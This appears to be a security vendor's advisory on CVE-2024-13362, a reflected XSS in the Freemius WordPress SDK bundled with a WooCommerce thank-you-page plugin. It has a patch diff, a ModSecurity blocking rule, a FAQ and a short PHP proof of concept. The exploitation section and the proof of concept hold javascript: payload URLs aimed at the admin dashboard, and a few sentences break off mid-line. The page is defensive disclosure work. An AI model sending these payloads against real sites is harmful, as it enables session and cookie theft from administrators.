Atomic Edge analysis of CVE-2024-13362:
This vulnerability is a reflected DOM-based cross-site scripting (XSS) flaw in the Freemius WordPress SDK library (versions up to 2.10.1). The issue exists in the trial promotion notice functionality, where user-controlled data from the `url` parameter is insufficiently sanitized before being rendered in the admin dashboard. The CVSS score is 6.1 (medium severity), and it requires user interaction (clicking a crafted link) for exploitation.
Root Cause:
The vulnerability originates in `class-freemius.php` at lines 24000-24015. The `trial_promotion_message` filter constructs an HTML string by concatenating user-controlled `$message`, `$cc_string`, and a `$button` that includes a `$trial_url` derived from the `url` parameter. The filter output is passed directly to `add_sticky()` without proper output escaping, and the button HTML uses an inline `
Exploitation:
An attacker can craft a malicious link that includes a specially crafted `url` parameter pointing to an admin page on the target site. The URL parameter flows into the trial promotion notice generation. When an administrator clicks the link and the notice renders, the injected script executes in the context of the WordPress admin dashboard. For example: `https://target.com/wp-admin/admin.php?page=wc-settings&url=javascript:alert(document.cookie)` or a URL-encoded payload that breaks out of the `href` attribute.
Patch Analysis:
The patch in version 2.11.0 restructures the notice HTML generation. It moves the button into a separate `
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wc-thanks-redirect/vendor/composer/autoload_files.php
+++ b/wc-thanks-redirect/vendor/composer/autoload_files.php
@@ -1,10 +0,0 @@
-<?php
-
-// autoload_files.php @generated by Composer
-
-$vendorDir = dirname(__DIR__);
-$baseDir = dirname($vendorDir);
-
-return array(
- '8d50dc88e56bace65e1e72f6017983ed' => $vendorDir . '/freemius/wordpress-sdk/start.php',
-);
--- a/wc-thanks-redirect/vendor/composer/autoload_real.php
+++ b/wc-thanks-redirect/vendor/composer/autoload_real.php
@@ -33,18 +33,6 @@
$loader->register(true);
- $filesToLoad = ComposerAutoloadComposerStaticInitda03f946e49213c947fbe07ed24bb78c::$files;
- $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
- if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
- $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
-
- require $file;
- }
- }, null, null);
- foreach ($filesToLoad as $fileIdentifier => $file) {
- $requireFile($fileIdentifier, $file);
- }
-
return $loader;
}
}
--- a/wc-thanks-redirect/vendor/composer/autoload_static.php
+++ b/wc-thanks-redirect/vendor/composer/autoload_static.php
@@ -6,10 +6,6 @@
class ComposerStaticInitda03f946e49213c947fbe07ed24bb78c
{
- public static $files = array (
- '8d50dc88e56bace65e1e72f6017983ed' => __DIR__ . '/..' . '/freemius/wordpress-sdk/start.php',
- );
-
public static $prefixLengthsPsr4 = array (
'N' =>
array (
--- a/wc-thanks-redirect/vendor/composer/installed.php
+++ b/wc-thanks-redirect/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'neebplugins/wc-thanks-redirect',
- 'pretty_version' => 'dev-release/4.2.0',
- 'version' => 'dev-release/4.2.0',
- 'reference' => '414c269fb5f7657f00c822a8159ac735dfcc1de0',
+ 'pretty_version' => 'dev-release/4.2.1',
+ 'version' => 'dev-release/4.2.1',
+ 'reference' => 'df70db7e3aebcf8565ae5b3efa4fc5a6ea310598',
'type' => 'premium-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,18 +11,18 @@
),
'versions' => array(
'freemius/wordpress-sdk' => array(
- 'pretty_version' => '2.10.1',
- 'version' => '2.10.1.0',
- 'reference' => '5f57de9d7504b37b0ee9f5da44b6699c99854dd2',
+ 'pretty_version' => '2.11.0',
+ 'version' => '2.11.0.0',
+ 'reference' => null,
'type' => 'library',
'install_path' => __DIR__ . '/../freemius/wordpress-sdk',
'aliases' => array(),
'dev_requirement' => false,
),
'neebplugins/wc-thanks-redirect' => array(
- 'pretty_version' => 'dev-release/4.2.0',
- 'version' => 'dev-release/4.2.0',
- 'reference' => '414c269fb5f7657f00c822a8159ac735dfcc1de0',
+ 'pretty_version' => 'dev-release/4.2.1',
+ 'version' => 'dev-release/4.2.1',
+ 'reference' => 'df70db7e3aebcf8565ae5b3efa4fc5a6ea310598',
'type' => 'premium-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -24000,13 +24000,15 @@
// Start trial button.
$button = ' ' . sprintf(
- '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s ➜</button></a>',
+ '<div><a class="button button-primary" href="%s">%s ➜</a></div>',
$trial_url,
$this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
);
+ $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
$this->_admin_notices->add_sticky(
- $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+ "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
'trial_promotion',
'',
'promotion'
@@ -25476,7 +25478,7 @@
$img_dir = WP_FS__DIR_IMG;
// Locate the main assets folder.
- if ( 1 < count( $fs_active_plugins->plugins ) ) {
+ if ( ! empty( $fs_active_plugins->plugins ) ) {
$plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );
foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@
global $wp_current_filter;
- $current_plugin_version = $this->_fs->get_plugin_version();
-
- if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
- if (
- is_null( $this->_update_details ) ||
- ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
- ) {
- /**
- * After an update, clear the stored update details and reparse the plugin's main file in order to get
- * the updated version's information and prevent the previous update information from showing up on the
- * updates page.
- *
- * @author Leo Fajardo (@leorw)
- * @since 2.3.1
- */
- $this->_update_details = null;
- $current_plugin_version = $this->_fs->get_plugin_version( true );
- }
+ if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+ return $transient_data;
}
if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
false,
fs_request_get_bool( 'force-check' ),
FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
- $current_plugin_version
+ $this->_fs->get_plugin_version()
);
$this->_update_details = false;
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/entities/class-fs-plugin-plan.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
/**
* Class FS_Plugin_Plan
*
- * @property FS_Pricing[] $pricing
*/
class FS_Plugin_Plan extends FS_Entity {
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
exit;
}
- /**
- * @property int $blog_id
- */
- #[AllowDynamicProperties]
class FS_Site extends FS_Scope_Entity {
/**
* @var number
*/
public $site_id;
/**
+ * @var int
+ */
+ public $blog_id;
+ /**
* @var number
*/
public $plugin_id;
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/entities/class-fs-user.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
parent::__construct( $user );
}
+ /**
+ * This method removes the deprecated 'is_beta' property from the serialized data.
+ * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+ *
+ * @return void
+ */
+ function __wakeup() {
+ if ( property_exists( $this, 'is_beta' ) ) {
+ // If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+ unset( $this->is_beta );
+ }
+ }
+
function get_name() {
return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
}
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-menu-manager.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
$menu = $this->find_main_submenu();
}
+ $menu_slug = $menu['menu'][2];
$parent_slug = isset( $menu['parent_slug'] ) ?
- $menu['parent_slug'] :
- 'admin.php';
+ $menu['parent_slug'] :
+ 'admin.php';
- return admin_url(
- $parent_slug .
- ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
- 'page=' .
- $menu['menu'][2]
- );
+ if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+ $parent_slug = 'admin.php';
+
+ /**
+ * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+ *
+ * @author Leo Fajardo (@leorw)
+ * @since 2.10.2
+ */
+ global $_parent_pages;
+
+ if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+ $_parent_slug = $_parent_pages[ $menu_slug ];
+ $parent_slug = isset( $_parent_pages[ $_parent_slug ] ) ?
+ $parent_slug :
+ $menu['parent_slug'];
+ }
+ }
+
+ return admin_url(
+ $parent_slug .
+ ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+ 'page=' .
+ $menu_slug
+ );
}
/**
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-notice-manager.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
* @since 1.0.7
*/
static function _add_sticky_dismiss_javascript() {
+ $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+ if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+ return;
+ }
+
$params = array();
- fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+ fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
}
private static $_added_sticky_javascript = false;
--- a/wc-thanks-redirect/vendor/freemius/wordpress-sdk/start.php
+++ b/wc-thanks-redirect/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
*
* @var string
*/
- $this_sdk_version = '2.10.1';
+ $this_sdk_version = '2.11.0';
#region SDK Selection Logic --------------------------------------------------------------------
--- a/wc-thanks-redirect/wc-thanks-redirect.php
+++ b/wc-thanks-redirect/wc-thanks-redirect.php
@@ -10,7 +10,7 @@
* Plugin Name: Thank You Page for WooCommerce
* Plugin URI: https://nitin247.com/plugin/wc-thanks-redirect/
* Description: Thank You Page for WooCommerce allows adding Thank You Page or Thank You URL for WooCommerce Products for your Customers, now supports Order Details on Thank You Page. This plugin does not support Multisite.
- * Version: 4.2.0
+ * Version: 4.2.1
* Author: Nitin Prakash
* Author URI: http://www.nitin247.com/
* License: GPL-2.0+
@@ -20,7 +20,7 @@
* Requires PHP: 7.4
* Requires at least: 6.2
* WC requires at least: 8.2
- * WC tested up to: 9.5
+ * WC tested up to: 9.6
*/
use NeeBPluginsWctrAdmin as WctrAdmin;
@@ -50,7 +50,8 @@
global $wc_thanks_redirect_fs;
if ( ! isset( $wc_thanks_redirect_fs ) ) {
- // SDK Loaded via Composer.
+ // Freemius SDK loaded via composer.
+ include_once WCTR_PLUGIN_DIR . '/vendor/freemius/wordpress-sdk/start.php';
$wc_thanks_redirect_fs = fs_dynamic_init(
array(
@@ -62,9 +63,10 @@
'is_premium_only' => false,
'has_addons' => false,
'has_paid_plans' => true,
- 'has_affiliation' => 'selected',
+ 'has_affiliation' => false,
'menu' => array(
- 'first-path' => 'admin.php?page=wc-settings&tab=products§ion=wctr',
+ 'first-path' => 'admin.php?page=wc-settings&tab=products§ion=wctr',
+ 'support'=>false,
),
'anonymous_mode' => true,
)
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:page "@streq wc-settings" "chain"
SecRule ARGS_GET:url "@rx (javascript|data|vbscript|on[a-z]+|&#|%3C|%3E)" "t:lowercase"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
$target_url = 'http://wordpress.local/wp-admin/admin.php?page=wc-settings&url=javascript:alert(document.domain)'; // Configurable target
function exploit_xss($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return array('response' => $response, 'http_code' => $http_code);
}
$result = exploit_xss($target_url);
echo 'HTTP Status: ' . $result['http_code'] . PHP_EOL;
if (strpos($result['response'], 'javascript:alert') !== false) {
echo 'Vulnerability confirmed: XSS payload reflected in response.' . PHP_EOL;
} else {
echo 'Check manually: examine the trial_promotion notice for JS injection.' . PHP_EOL;
}
Frequently Asked Questions
What is CVE-2024-13362?
Overview of the vulnerabilityCVE-2024-13362 is a reflected DOM-based cross-site scripting (XSS) vulnerability in the Freemius WordPress SDK library. It allows unauthenticated attackers to inject arbitrary scripts via the ‘url’ parameter in certain WordPress plugins, leading to potential exploitation when an administrator clicks a crafted link.
Who is affected by this vulnerability?
Identifying vulnerable versionsWordPress sites using the Freemius SDK library versions up to 2.10.1 are affected by this vulnerability. Administrators should check their installed versions of the SDK to determine if they are at risk.
How can I check if my site is vulnerable?
Verifying installed versionsTo check if your site is vulnerable, navigate to the plugin management section of your WordPress admin dashboard and look for the Freemius SDK version. If it is 2.10.1 or lower, your site is vulnerable to CVE-2024-13362.
How can I fix this vulnerability?
Updating to a patched versionThe vulnerability is patched in version 2.11.0 of the Freemius SDK. Administrators should update the SDK to this version or later to mitigate the risk associated with CVE-2024-13362.
What does the CVSS score of 6.1 mean?
Understanding the risk levelA CVSS score of 6.1 indicates a medium severity vulnerability. This means that while exploitation requires user interaction, it poses a significant risk that could lead to session hijacking or unauthorized access if successfully executed.
What is reflected DOM-based XSS?
Explanation of the attack vectorReflected DOM-based XSS occurs when user input is reflected back to the user without proper sanitization. In this case, the ‘url’ parameter can be manipulated to inject scripts that execute in the context of the WordPress admin dashboard when an administrator clicks a malicious link.
How does the proof of concept work?
Demonstrating the vulnerabilityThe proof of concept demonstrates exploitation by crafting a URL that includes a JavaScript payload in the ‘url’ parameter. When an administrator accesses this URL, the injected script can execute, showcasing how an attacker can leverage the vulnerability to run arbitrary code.
What are the potential impacts of this vulnerability?
Consequences of successful exploitationSuccessful exploitation of CVE-2024-13362 can lead to session hijacking, credential theft, or the installation of malicious plugins and themes. This could ultimately result in a complete compromise of the affected WordPress site.
Is user authentication required to exploit this vulnerability?
Understanding exploitation requirementsNo user authentication is required to exploit this vulnerability. An attacker only needs to trick an administrator into clicking a crafted link, making social engineering a key component of the attack.
What measures can I take to mitigate this vulnerability?
Best practices for securityIn addition to updating to the patched version, administrators should implement security best practices such as using web application firewalls, regularly monitoring site activity, and educating users about phishing and social engineering attacks.
How can I stay informed about vulnerabilities like CVE-2024-13362?
Keeping up with security updatesTo stay informed, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the CVE database for updates. Additionally, ensure that your plugins and themes are always kept up to date.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations







